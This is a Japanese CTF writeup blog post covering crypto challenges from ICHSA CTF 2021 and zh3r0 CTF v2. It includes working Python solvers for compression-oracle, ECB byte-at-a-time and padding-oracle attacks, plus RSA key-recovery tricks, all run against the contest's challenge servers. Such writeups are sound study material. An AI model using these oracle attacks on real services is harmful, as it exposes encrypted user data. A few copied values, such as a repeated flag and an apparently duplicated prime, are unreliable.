自分は解けずにチームメイトが解いたcrypto問です。

hackmd.io

  • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
  • RSAtrix 3
  • RSAtrix 4
  • RSAtrix 5

とくにRSAtrix 5解けたのすごいなぁ。

ICHSA CTF 2021 writeup

今回のwriteupは以前の記事を多用します。ご了承ください。

ICHSA CTF

Result


f:id:partender810:20210603000348p:plain
まあまあよかった?

writeup

Crime Cloud 150pt


I got a notification from my cloud storage provider that they added strong OTP "protection" to their service.
They want 10,000 BTC for a CrimeCloud decryptor.
I think they should have named themselves CrimeSomware those thiefs!
Now I can't read my precious data anymore :-(
My H@ck3r friend was able to recover their server-side source code but he said OTP is "prefectly-secure" so I should give up.
Maybe u have an idea how to beat those CrimeLords?
Connect: nc crime.ichsa.ctf.today 8008
Note
Flag contains only lower ASCII characters and underscore. Regex it should obey ICHSA_CTF{[a-z_]+} (perl syntax).
ファイル:source.py

picoCTF 2021でも出たこの問題と全く同じですね。ただ途中にあるrand(32)のせいで、まあまあ上手くいかないです。上手くいくと長さが95になるのでそうなるまでグルグル回します。

picoCTF 2021 writeup - Attack All Around

HOST, PORT = "crime.ichsa.ctf.today", 8008
s, f = sock(HOST, PORT)
for _ in range(3): read_until(f)
flag = "ICHSA_CTF{"
candi = "abcdefghijklmnopqrstuvwxyz_}"
while True:
    ans = ""
    for c1 in candi:
        read_until(f,"Your input: ")
        mes = flag + c1
        s.send(mes.encode()+b"\n")
        m = read_until(f).strip()
        read_until(f)
        m = base64.b64decode(m.encode())
        if len(m) == 95:
            print("update!")
            ans_len = len(m)
            ans = c1
    flag += ans
    print(flag)
    if "}" in ans: break

ICHSA_CTF{d0n7_7ruzt_DeF4uL7_V4lu3z}

Baby Homework 150pt


My teacher gave some homework in crypto. HELP!!!!!!
Connect: nc baby_homework.ichsa.ctf.today 8010
ファイル:best_crypto_service.py

以下が初耳でした。

from Crypto.Cipher.AES import AESCipher
AESCipher(os.environ.get('KEY')).encrypt(padding(data))

Crypto.Cipher.AES

上のサイトより、このモジュールはデフォルトでECBモードと分かりました。flagの先頭16文字を特定するため、暗号文の第一ブロックと第二ブロックが一致するよう頑張ります。

HeroCTF v3 writeup - Attack All Around

またしても以前のサイトで申し訳ないですが、これと同じ方法でflagを出します。下のsolverでは、"0"が15文字+(一文字brute force)+"0"が15文字を送ります。(一文字brute force)がflagの先頭文字と一致すると暗号文の1, 2ブロック目が等しくなります。

HOST, PORT = "baby_homework.ichsa.ctf.today", 8010
flag = ""
while True:
    isfin = True
    for i in range(48,126):
        print(i,chr(i))
        s, f = sock(HOST, PORT)
        read_until(f)
        mes = "0"*(16-(len(flag)%16)-1)    + flag + chr(i) + "0"*(16-(len(flag)%16)-1)
        s.send(mes.encode()+b"\n")
        m = read_until(f).strip()
        s.close()
        if m[32:64] == m[96:128]:
            isfin = False
            flag += chr(i)
            print(flag,len(flag))
            break
    if isfin: break
print("ICHSA_CTF{"+flag+"}")

最後変なpadding入るので注意です。

ICHSA_CTF{d0n7_7ruzt_DeF4uL7_V4lu3z}

Poodle 1 200pt


I lost my beloved poodle :(
did you see it?
maybe the oracle will be able to find it... can you talk with her for me? please?
Connect: nc poodle1.ichsa.ctf.today 8003
ファイル:poodle1.py

これはpadding oracle attackですね。1はDecryption Attackなのでしょう。こちらのサイトをcheck!

Padding Oracle Attack 分かりやすく解説したい - Attack All Around

def modifyXor(d):
    if len(d) == 0: return ""
    x = len(d)//2 + 1
    ret = ""
    for i in range(0,len(d),2):
        #print("xor",x,x-1-(i//2))
        t = int(d[i:i+2],16)^x^(x-1-(i//2))
        t = hex(t)[2:]
        if len(t) == 1: t = "0"+t
        ret += t
    #print("ret:",ret)
    return ret
        
    
#HOSTはIPアドレスでも可
HOST, PORT = "poodle1.ichsa.ctf.today", 8003
s, f = sock(HOST, PORT)
for _ in range(5): read_until(f)
enc = read_until(f).strip()
print("enc:",enc)
for _ in range(5): read_until(f)

d2 = ""
dec2 = ""

for j in range(16):
    print(j)
    hen = True
    for i in range(256):
        read_until(f)
        read_until(f,">> ")
        h = hex(i)[2:]
        #print("h:",h)
        if len(h) == 1: h = "0"+h
        print("h:",h)
        mes = enc[:32] + "00"*(15-j)+ h + modifyXor(d2) + enc[64:]
        #print("mes:",mes)
        assert len(mes) == 96
        s.send(mes.encode()+b"\n")
        recv_m = read_until(f).strip()
        print(recv_m)
        if "mmm" in recv_m:
            hen = False
            print("Find!")
            d2 = h + d2
            t = i^(j+1)
            t = hex(t)[2:]
            if len(t) == 1: t = "0"+t
            dec2 = t + dec2
            break
    if hen:
        print("okashii")
        break
            

p2 = long_to_bytes(int(dec2,16)^int(enc[32:64],16))
print(p2)
d1 = ""
dec1 = ""

for j in range(16):
    print(j)
    hen = True
    for i in range(256):
        read_until(f)
        read_until(f,">> ")
        h = hex(i)[2:]
        #print("h:",h)
        if len(h) == 1: h = "0"+h
        print("h:",h)
        mes = "00"*(15-j)+ h + modifyXor(d1) + enc[32:64]
        #print("mes:",mes)
        assert len(mes) == 64
        s.send(mes.encode()+b"\n")
        recv_m = read_until(f).strip()
        print(recv_m)
        if "mmm" in recv_m:
            hen = False
            print("Find!")
            d1 = h + d1
            t = i^(j+1)
            t = hex(t)[2:]
            if len(t) == 1: t = "0"+t
            dec1 = t + dec1
            break
    if hen:
        print("okashii")
        break
p1 = long_to_bytes(int(dec1,16)^int(enc[:32],16))
print(p1)
print(p1+p2)

ICHSA_CTF{I_d0nt_like_oracl3s}

Poodle 2 300pt


I lost my poodle again :(:(:(
let's try the oracle again?
Connect: nc poodle2.ichsa.ctf.today 8004
ファイル:poodle2.py

こちらはEncryption Attackですね。cをkeyでdecryptした値を求めてb"givemetheflag"とxorしたのを暗号文にします。

d1 = ""
dec1 = ""

for j in range(16):
    print(j)
    hen = True
    for i in range(256):
        read_until(f)
        read_until(f,">> ")
        h = hex(i)[2:]
        #print("h:",h)
        if len(h) == 1: h = "0"+h
        print("h:",h)
        mes = "00"*(15-j)+ h + modifyXor(d1) + enc[32:64]
        #print("mes:",mes)
        assert len(mes) == 64
        s.send(mes.encode()+b"\n")
        recv_m = read_until(f).strip()
        print(recv_m)
        if "mmm" in recv_m:
            hen = False
            print("Find!")
            d1 = h + d1
            t = i^(j+1)
            t = hex(t)[2:]
            if len(t) == 1: t = "0"+t
            dec1 = t + dec1
            break
    if hen:
        print("okashii")
        break


m = b"givemetheflag\x03\x03\x03"
c = hex(int(dec1,16)^bytes_to_long(m))[2:]
assert len(c) <= 32
while len(c) < 32: c = "0" + c
c += "00"*16
read_until(f)
read_until(f,">> ")
s.send(c.encode()+b"\n")
while True: print(read_until(f))

ICHSA_CTF{y3s_y0u_c4n_als0_encrypt_in_tha7_w4y_a660a2}

Unsolved

Pikatchu's Fault 100pt


I have a pretty weird girlfriend, she gave me a device to decrypt her secret messages to me. She said not to worry it is an efficient RSA implementation using CRT - whatever.
One time my pikatchu got an uncommon cold and sneezed exacty when I fed her secret message to the decryptor. I got unreadable nonsense as a result I suspect it's my pikatchu's fault for having an electric sneeze and it confused the decryptor. My confidence about it raised after I tried to decrypt again and got a readable message.
I wonder though if it is possible to get the private key from that faulty message.
N: 14428106165822100311240179104702593030922229606910261061860621459798477042443217675708638511393783602097391544907229222395222465303690975922805833664159517707002845392996861764206707180372733989400577838887924912395532925065643238637812097531657082837158436848594708309238918390308191361234059534178077141595873018313112575974600539522798755895311426362091301356794727864093165846318233065617022292712839240223002241134094765005135404901074586741323378531189871102865921045940469715763216120732916020528427859371641401521785824628585853094123501351577248220567930583676467206786442597142305655569749177107891502253803
e: 65537
M: 4c6f766520616e64206b69737365732c206d697373696e6720796f7521000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2
M': 1a36d7ecad4b18bc765ff0e3d3ecde7cae84bf1cc445a6fdcb48c335d9d3a043817fc014d55bfad94b51eb522b4ff719d33f012afe1498efafe660b97d1cb806d4ff7985a40a14f9bec9d93e2eb20f3820423ba0e34302adc82156673fa164822779174e9b7a84a417873358d1d774ccdfdb1f36de6aa8249b00184aac2feb003782f16fb3f5d7b113387989f662062452793bbaad87014b1ebd4a020342a11a19d95f4d3b29dd5449c57ea0fd3b881542a7b8b0bdbc9dcb7b19337f40e723439365dc29625cb775e91aef886d79d1403725c5aefa21b3d69f8cacbbbafb8b35c86822113e71bd272ca7cdf68da0ab397c658cb6cc14225732bc07726155ecd1

gcd(M'-M, N) で素因数分解できることは分かりました。ただそれ以降は分からず…。

Problem&Solver

GitHub - ksbowler/ICHSA_CTF_2021

zh3r0 CTF v2 writeup

先日、TEAM NACS 第17回公演「マスタ―ピース~傑作を君に~」を拝聴しました。いやあ、面白い。大泉洋=面白い俳優 → 水曜どうでしょう面白すぎる → TEAM NACS 面白い → 舞台観てみたい、となり今回この舞台をストリーミング配信で観ました。リーダーのカーテンコールにモーレツに感動した。皆さんも是非。

CTF中にこの配信があり、気になって仕方なかったよという話です。


Result

f:id:partender810:20210607005717p:plain
最近良さげ?


Writeup

今回、m1z0r3新入生の方がすごくてcrypto問題を結構解いてくれました!しかも自分が苦手な問題をやってくれたので何とも良いチームプレイでした!
それらも勉強せねば。


alice_bob_dave

Alice and Bob are sending their flags to Dave. But sadly Dave lost the modulus :( Try to retrive the flag!
ファイル:chall.py, out.txt

公開鍵e, 暗号文ct_a, ct_b, 秘密鍵d_a, d_bが分かっていてn_a (=pq), n_b (=pr)が分からないという鬼畜。これが一番簡単なのか…。

e×d_a = k×φ(n_a)+1 = k×(p-1)×(q-1)+1
e×d_b = l×φ(n_b)+1 = l×(p-1)×(r-1)+1

より、GCD(e×d_a+1, e×d_b+1) = (p-1)×kとなります。このGCDした値を因数分解して、kと(p-1)に分ける組み合わせを全探査します。(p-1)に分けた方に1を足して1024bitsの素数となればOKです。因数の組み合わせが20個以内であればそんなに時間かかりませんね。

pが求まったらそこから頑張ってq, rを求めてもいいのですが(上と同じやり方で)、pをモジュールとしてやったらflag出てきましたやったね。

from Crypto.Util.number import *
ct_a= 
ct_b=
d_a=
d_b=
e=65537
import math
c = math.gcd(e*d_a-1,e*d_b-1) #c = k*(p-1)
print(c)
# cを素因数分解したやつがpp
pp = [ 2,2,3,3,1543,36097,1014259,17275267,33878479,64555363525704839503363,13843294374590501153575359748767274126053352729479537741977678154837940367725830968854964957283527886754718756686680847922782086222027205796563115693252960446483090290176656020345895604792952692850026400036720222060460108513404092975304800801154763470020377]
import sympy
for i in range(pow(2,len(pp))):
    cc = bin(i)[2:]
    while len(cc) < len(pp): cc = "0" + cc
    np = 1
    for j in range(len(cc)):
        if cc[j] == "1": np*=pp[j]
    if sympy.isprime(np+1) and len(bin(np+1)[2:]) == 1024:
        print("Found!")
        p = np+1

    
#p = 177279130816191665059944783286411855023035031289227941571673915784074353287733189099688126318264113305321082059619767094038966996649561164342515779196140056547333435193040798074799909334916510316728847254833619137382153503950749154356946058670079132324988450725735937306884337410304401871741381990982764516163177279130816191665059944783286411855023035031289227941571673915784074353287733189099688126318264113305321082059619767094038966996649561164342515779196140056547333435193040798074799909334916510316728847254833619137382153503950749154356946058670079132324988450725735937306884337410304401871741381990982764516163

m1 = pow(ct_a,d_a,p)
m2 = pow(ct_b,d_b,p)
print(long_to_bytes(m1))
print(long_to_bytes(m2))

zh3r0{GCD_c0m3s_70_R3sCue_3742986}


1n_jection

COVID: exists
vaccine jokes: challenge_name
ファイル:challenge.py

from secret import flag

def nk2n(nk):
    l = len(nk)
    if l==1:
        return nk[0]
    elif l==2:
        i,j = nk
        return ((i+j)*(i+j+1))//2 +j
    return nk2n([nk2n(nk[:l-l//2]), nk2n(nk[l-l//2:])])

print(nk2n(flag))
#2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585

まず、nk2n(x, y) = 259...585 になったことが分かります。elif l==2: を見てみると、 ( (i+j)×(i+j+1) )//2 +j = 259...585 ということが分かり、i, j が x, yに該当します。

enc = ( (i+j)×(i+j+1) )//2 +j
2×enc = ( (i+j)×(i+j+1) ) +2×j
2×enc ≃ (i+j)2

と強引な近似式を立てます。

x2 < 2×enc となる最大の自然数xを見つけ、2×enc - (x+1)x が 2×j となるのでj求め。x-jからiを出します。あとは、見つけたi, jをencとして共に128以下になるまで再帰的に計算させます。128以下としたのはASCII文字だろうという想定です。

感覚でnk2nの逆関数書いたら出来たという感じです。もっと理論的なwriteupありそう。最大の自然数としてうまくいったのも正直よく分かっていない。

def inv_nk2n(enc,dep):
    if enc < 128:
        print(chr(enc))
        return
    e,_ = gmpy2.iroot(2*enc,2) #e = i+jになっていたらいいな
    e = int(e)

    while True:
        j = (2*enc-(e*(e+1)))//2
        if j < 0:
            e -= 1
            continue
        e1,_ = gmpy2.iroot(2*enc-2*j,2) #e1 = i+jのはず。e=e1ならちゃんと求められている
        if e == e1:
            i = e-j
            assert ((i+j)*(i+j+1))//2 +j == enc
            break
        e -= 1
    if i < 128:
        print(chr(i),end="")
        print(chr(j),end="")
        return
    elif j < 128:
        #print(chr(j),end="")
        inv_nk2n(i,dep+1)
        print(chr(j),end="")       
    else:
        inv_nk2n(i,dep+1)
        inv_nk2n(j,dep+1)

zh3r0{wh0_th0ugh7_b1j3c710n5_fr0m_nk_t0_n_c0uld_b3_s00000_c0000000l!}


b00tleg

Source? Gotta comply to Indian CTFs' crypto standards
nc crypto.zh3r0.cf 1111

これ本当にだるかった。

暗号文が渡されてそれがどんな暗号化をしているかは教えてくれないが、任意の16進数は暗号化してくれるoracleがあります。そして、渡された暗号文に対する平文が分かったら答えてねといった問題が8問もありました。


Q1-1
Level: 1, encrypted flag: 69666d6d70217870736d6522214d667574216866752168706a6f68

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
01

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:01
02

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0f
10


[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0102030405
0203040506

と1byteごと1足した値が返ってきます。なので貰った暗号文を1byteごと1減らして出せばOKです。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:68656c6c6f20776f726c6421204c6574732067657420676f696e67
Correct

Q1-2
Level: 1, encrypted flag: 167536933462626657495469026094356252520425094567558410085605026028734973776349984140755605180214900

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
0

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:10
16

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:1000
4096

hex -> dec だけのようですね。貰った暗号文をhex()でOKです。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74
Correct

Q2
Level: 2, encrypted flag: 0082288254783f5b78d033d03fd03382287854c1e88928d054d0ccc1d0541be889c1d0331d89

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
f2

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:01
8d

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:02
a9

これだけじゃ一切分からなかったのですが、下のですぐに分かりました。

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0101
8d8d

00~ffが別の1byteとマッピングしているようですね。換字式暗号のよう。00~ffを暗号化させて対応表を作成し復号します。

このあたりから繋ぎ直す度に暗号文が変わっていきました。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665
Correct

このあたりから繋ぎ直す度に暗号文が変わっていきました。そして暗号文が変わっても平文は毎回一定ということが分かり、ASCII変換すると意味のある文字列になりました。早く気付け…


Q3
Level: 3, encrypted flag: c46b9613f603197b6d8d7ce39bc6ada752de6bff165924dfe5c3b90c00c792ea4775b0602d93a6cfc9652cf090b3

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
ef

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:01
a6

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0101
a693

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0102
a6c7

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:02
2d

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0201
2d93

これまた換字式暗号のようですが、"0101"を送っても同じ1byteが2回続くわけではなさそう。ただ、i byte目かによって変わる換字式暗号のだろう。2byte目を"01"にしたら1byte目に依存せず"93"となりました。

なので、暗号文の上位1byteと一致するまで00~ffを暗号化してもらい、"(一致した1byte)+00~ff" で暗号化してもらい、暗号文の上位2byteと一致するか確かめ、"(一致した2byte)+00~ff" で…を繰り返します。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172
Correct

Q4
Level: 4, encrypted flag: 83c492da5a071252f030f87c4424db86a7cd110f5b1eaec1fc7935eb5f073d2c3631caab94de551071f35dc3b5ba93e2680c44dc670d8cdc0560e43caebb620cf77fc1a060121059471ab7b7da9a

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
c43c

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
dc24

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
38c8

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
8e72

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
14ec

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
a45c

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
847c

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0001
b05058a9

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0001
7a867e83

なんの方法も思いつきません。1byteの平文が2byteの暗号文になっていて、2倍の関係はずっと成り立つくらいです。

無心で"00"を暗号化していると…

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
11ef

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
12ee

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
11ef

と同じ暗号文になる時があった。もしかして、"00"の暗号文は256通りあってだから1byte平文→2bytes暗号文か?となりました。

00~ffまで100回ほど暗号化してもらって、貰った暗号文と一致しているかチェックして平文を復号させていきます。256通りもあるので、何回も暗号化してもらっても貰った暗号文と一致しない箇所があるかもしれませんが、平文は意味ある文字列になるので最後はエスパー出来るだろう。

47xy616420xy6861xyxy796fxyxy66696775726564206fxyxy2074686520696e7661xyxyxy6e74
G?ad ?ha??yo??figured o?? the inva???nt

予想当たってそう。

Glad, figured out になるのだろう。最後の単語なんだろう。

ここで2日目の夜を迎えます。僕はお休みですがPCには頑張ってもらいます。夜通しグルグルさせたら復号できました。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74
Correct
Glad that you figured out the invariant

実際、"00"の暗号文256個を全て出すのにかかる暗号化試行回数の期待値はいくつなのだろう。


Q5
Level: 5, encrypted flag: 21632f60371e637d646719633361371d6e38257c0c7f7d727e1d6e7d7c781c747d767f007271256705633c76724962326b63497238697b4967337c780763cdc8ef69065d0517

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
2d1d7371522d4207101c

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:01
77d092631876f707d06a

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:02
01d479285c03ca8ee440

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0001
ed22e53735ed2323ded2

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:000102
3d6c2d55f63d6d2fbc4b

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00010203
3b5742e8213b5640eb2d

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:0001020304
5a77fc8bd45a76fe88d0

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:000102030405
228a9f15b82739069578228b9d16bc

5bytesまで暗号文の長さは10bytesと変わらず、6bytes送ると15bytesになりました。初めは5bytes -> 10bytesなのでQ5と変わらないのかと思いましたが、6bytes(10bytesでも) -> 15bytesで断念。なんか余計な5bytesがあるな。

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00010203040506070809
4b3f92695d4e389762504b3e906a59

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00010203040506070809
6c5fd82ec26958dd25cf6c5eda2dc6

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00010203040506070809
22f1249dd427f62196d922f0269ed0

またもや無心oracle attackをしていると、いずれも0~2, 20~22文字目が一致している & 3, 23文字目の差の絶対値が1という共通点を発見。

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:000102030405060708090001020304
ba7470d81abf7375d317ba7470d81aba7572db1e

この0~9, 20~29文字が等しい暗号文を送ると、暗号文の0~9, 20~29が等しくなりました。

XORだ!!!!

下位5bytesは乱数で、それと平文5bytesずつXORしているよう。平文長が5の倍数出ない場合は乱数でパディングしているよう。

貰った暗号文の下位5bytesと他でXORすると文章が出てきました。後ろ3bytesはパディングのようですね。

Here we append the key with your shit, please dont tell anyone\x90\xcd\xf8

後ろ3bytesをカットして提出でcorrect

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65
Correct

Q6

次の問題が出るまでちょっと待たされる

Level: 6, encrypted flag: 136384619054339654698475609187854339113882435852470452229300074212198483311645305554174498023573137797735886243473558340482613861649177748126144672869929906606346385500823906944622319359965197258529068372012245196075373073203790506545107848221246609729715492848444591450621341939920310444052818596797750926038

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
0

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:01
1

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:02
8

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:03
27

Q5, 6の疲労からまだ難しいのがどんどん来るのだろうと思ったら、ただの3乗やんけ!とウッキウキで暗号文の3乗根を取ってみる。無い。キレる。

どんな暗号文を送っても3乗になるだけ…となっていたのですが、大きい数字を送ると3乗根はありませんでした。e=3, N=unknownのRSA暗号のよう。

m3 > N となるmを送り、m3 - c (=m3 mod N)からNの倍数が手に入ります。これは先程の新入生が教えてくれました。自分は気付かず二分探索で求めようと…。

素因数分解してみると、1024bitsの素数が1つだけありました。色々検証した結果、c = m3 mod p (p:prime) と断定。ed = 1 mod (p-1) でdを求め、cd mod pで意味ある文字列になりました。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f
Correct

Q7
Level: 7, encrypted flag: 108613801296595507842842562285901639870700128823984221118522899150125891850980318127085910315828915486703595963395705206816199002398854310898276932839241255030719759005865491552890311738885862387404277721909188630301200138952557304529868842692309573491972932743859389182753896383477285635296983981909565573190

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:00
0

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:01
1

[1] Encrypt
[2] Submit level flag
>>> 1
message in hex:02
170141183460469231731687303715884105728

今度も何乗もしていそう。"02"の時、かなり大きい値となっていますが、2進数にする進数にすると

>>> c = 170141183460469231731687303715884105728
>>> bin(c)
'0b10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'

ここから、eの値が求められます。この場合128bitsあるのでe=127ですね。

先と同様に、me > nとなる平文を送ってその差分からnが分かります。Q6でもやればよかったのですが、GCD(m1e - c1, m2e - c2)でよりnがわかりやすいです。今回もn=p (p:prime)でした。

[1] Encrypt
[2] Submit level flag
>>> 2
flag in hex:7a683372307b31375f61316e375f6d7563685f6275375f315f346d5f73306d333768316e675f30665f345f6372797037346e346c7935375f6d7935336c667d
Correct
Shh, you got the flag already

もうもらっているとあるので、出てきた平文をASCII変換するとflagでした

zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}


Problems & Solver

GitHub - ksbowler/zh3r0CTF_v2